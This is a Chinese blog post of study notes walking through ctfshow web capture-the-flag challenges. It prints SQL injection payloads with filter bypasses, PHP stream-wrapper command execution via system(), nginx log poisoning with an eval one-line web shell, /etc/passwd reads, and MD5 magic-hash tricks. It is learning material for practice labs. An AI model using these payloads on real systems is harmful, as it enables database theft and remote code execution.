学习笔记(ctfshow WEB)

web签到题
查看源码
将源码中的字符串使用base64解码
得到flag
web2
地址后跟有8080
判断为sql注入题
直到输入1’ or 1 = 1 order by 4 #
没有回显,所以字段数为3
1’ or 1 = 1 union select 1,database(),3; #
查得数据库名为web2
(但是为什么database()在1和3的位置会返回表的数量呢)

1' or 1=1 union select 1,(select count(*) from information_schema.tables where table_schema = 'web2'),3; #

获得表的数量为2

1' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema = 'web2' limit 0,1),3; #

查得第一个表名为flag

1' or 1=1 union select 1,(select count(*) from information_schema.columns where table_name = 'flag' limit 0,1),3; #

查得列的数量为1

1' or 1=1 union select 1,(select column_name from information_schema.columns where table_name = 'flag' limit 0,1),3; #

查得列名为flag

1' or 1=1 union select 1,(select count(*) from flag),3; #

查得字段数量为1

1' or 1=1 union select 1,(select flag from flag limit 0,1),3; #

查得字段为真flag
web3
打开网页后提示GET传入一个url作为参数
使用php伪协议 + include, 实现执行任意命令。
?url=php://input

<?php system("ls");?>

查看当前目录下文件,发现ctf_go_go_go

<?php system("cat ctf_go_go_go");?>

取得flag
web4
打开后居然和web3的页面一毛一样
?url=/etc/passwd仍能执行
但<?php system("ls");?>无法执行
查看提示得知日志注入,文件包含
搜索得知日志文件的目录为
/var/log/nginx/access.log
查看日志,在日志中写入<?php @eval($_POST['11']);?>
一句话木马,antsword连接后在/var/www/目录下找到flag.txt文件
取得flag
web5
get传入v1,v2两个值
读代码后可知v1要为字母,v2要为数字然后v1与v2经md5编码后相等
由于PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0
所以我们搜索0e开头的md5编码在这里插入图片描述
第一个作为v1传入,第二个作为v2传入,可得到flag

web6
尝试了各种姿势后,发现只要存在空格,回显就会变成
sql inject error
那就尝试把空格绕过
使用/**/ %a0等替换空格
然后得到数据库名还是web2
之后再这样这样那样那样就可以得到flag了

web7
居然又是一道sql注入
用burpsuit或者hackbar比直接在网址栏要方便一点点
又是空格绕过
没啥好说的
试了试py脚本,好爽。

web8
sql注入
这次把逗号也过滤了
1.将limit 0,1样式改为limit 1 offset 0
2.将substr(string,1,1)改为substr(string from 1 for 1)

web9
粗略一看像是sql注入题
但是无论是打开源码还是注入测试都没得到任何信息
去找了一下目录扫描工具
扫描目录发现index.php,但是打开后没有任何反应
然后打开index.phps得到一个可下载的文件
下载后以记事本打开可以得到源码
审读代码得知
传入一个字符串长度小于10的密码,这串字符串md5后得到的16位原始二进制字符串将被用于进行sql代码执行
经过查阅后,得到
ffifdyop
在编码后将变成’or’6]!r,b 这是一个永远为真的表达式
得到flag
(不知道为什么扫描不到robots.txt)

web10
这次的页面有所不同
出于好奇点了一下取消
居然弹窗下载了index.phps
又审查代码
好家伙,select,from,where,join,sleep,and,\s,union, ,全部过滤
并且还有一段字符串长度比较,使得无法使用双写绕过
感觉眼前一片漆黑
没办法啦,查看hint
虚拟表绕过
查询可得
group by:对进行查询的结果进行分组。group by后跟什么,就按什么分组
with rollup:group by 后可以跟with rollup,表示在进行分组统计的基础上再次进行汇总统计。

既然是管理员登录,那username就是admin吧

payload:username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup

密码为空,对应最后创建的一排null与数量和
得到flag

web11
打开后源码直接摆在页面上
粗略一看以为还是sql注入,但是看见了一个不认识的函数,去搜索了一下
php的session默认情况下是使用客户端的cookie
还是不明白题目的意思,查看了hint,清除cookie
清除了cookie后,seesion中的password也被清除,于是为空,输入空密码即可与之匹配
得到flag

web12
查看源码,hit:?cmd=
通过get方式传入cmd执行命令
但是似乎是php的命令代码
php中highlight_file(“文件名”);函数返回文件内容
glob();返回指定匹配模式的文件名或目录
这里用通配符*回显了一个名字超级长的php文件,然后用highlight_file()函数查看文件,回显了flag

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值